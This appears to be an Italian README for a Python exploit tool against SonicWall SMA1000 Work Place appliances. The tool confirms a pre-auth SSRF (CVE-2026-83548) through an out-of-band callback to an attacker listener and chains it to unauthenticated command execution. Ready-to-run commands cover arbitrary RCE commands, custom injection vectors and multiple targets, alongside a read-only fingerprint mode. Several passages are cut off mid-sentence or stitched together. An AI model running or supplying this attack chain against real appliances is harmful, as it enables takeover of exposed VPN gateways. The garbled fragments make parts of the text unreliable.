
Strumento Python in un unico file che identifica le appliance SonicWall SMA1000 Work Place, sonda e conferma la SSRF pre-auth (CVE-2026-83548) tramite cattura out-of-band e concatena fino all'RCE.
Strumento in singolo file (Python 3, solo libreria standard, zero dipendenze) per valutare e sfruttare la SSRF pre-autenticazione nell'interfaccia Work Place degli appliance SonicWall SMA1000 (6210 / 7210 / 8200v), inclusa una catena opportunistica verso RCE non autenticata tramite CVE-2026-83549.
| CVE | CVE-2026-83548 (SSRF, CWE-918/CWE-441), CVSS 10.0 |
| Catena | CVE-2026-83549 — iniezione di comandi OS nell'AMC (post-auth), aggirata tramite la SSRF |
| Meccanismo | L'interfaccia Work Place si comporta come un forward proxy non intenzionale: l'appliance inoltra richieste appositamente costruite verso risorse interne (incluso l'AMC) sfruttando la propria posizione di rete privilegiata, senza richiedere autenticazione in nessuna fase |
| Affette | SMA1000 ≤ 12.4.3-03453 e ≤ 12.5.0-02835 |
| Corrette | 12.4.3-03526 / 12.5.0-02952 (avviso SonicWall SNWLID-2026-0016) |
| Stato | Attivamente sfruttata in the wild; CISA KEV dal 2026-09-02; nessuna mitigazione alternativa — solo patch |
Server: SMA/*, asset __extraweb__, versione dai
link della guida; classificazione rispetto alle build corrette (PATCHED / AFFECTED /
POTENTIALLY_AFFECTED / NOT_SMA1000)./cgi-bin/ e la forma
forward-proxy "URI assoluto come path") e valuta le anomalie rispetto a una baseline:
variazione del codice di stato, delta di latenza, nuovi header di risposta, delta del body.
I vettori forniti dall'operatore sono accettati tramite --vector (ripetibile).# Fingerprint / patch-state only (read-only)
python3 exploit_cve_2026_83548.py --fingerprint-only vpn.example.com
# Full pass: vector probing + out-of-band SSRF confirmation
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> \
--oob-timeout 5 vpn.example.com
# + RCE chain attempt (default command: id)
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> --rce \
--rce-cmd 'id' vpn.example.com
# Known vector (bypasses the default candidate set), JSON report
python3 exploit_cve_2026_83548.py --json --skip-probe \
--vector 'POST:/cgi-bin/:url={T}' --listen --attacker-ip <your_visible_IP> \
-k -t 10 203.0.113.10
# Multiple targets in sequence (exit code = worst verdict)
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> \
vpn-a.example.com vpn-b.example.com
--attacker-ip — l'IP dalla quale l'appliance deve poter raggiungere il tuo
listener di cattura (127.0.0.1 per verifiche locali; un indirizzo visibile in rete più
port forwarding per l'accesso remoto). Senza di esso lo strumento ipotizza un IP locale, che
spesso non funziona all'interno di container/configurazioni VPN.
| Codice | Significato |
|---|---|
| 0 | corretto / non interessato |
| 1 | interessato per versione, oppure SSRF confermata, oppure linea di firmware interessata con build esatta indeterminata |
| 2 | RCE non autenticata confermata (catena riuscita) |
| 3 | il target non è un portale SMA1000 Work Place |
| 4 | errore di connessione/altro |
12.5.0), non la build esatta dell'hotfix — il risultato comune
è POTENTIALLY_AFFECTED, che richiede la conferma della build
sull'appliance stessa.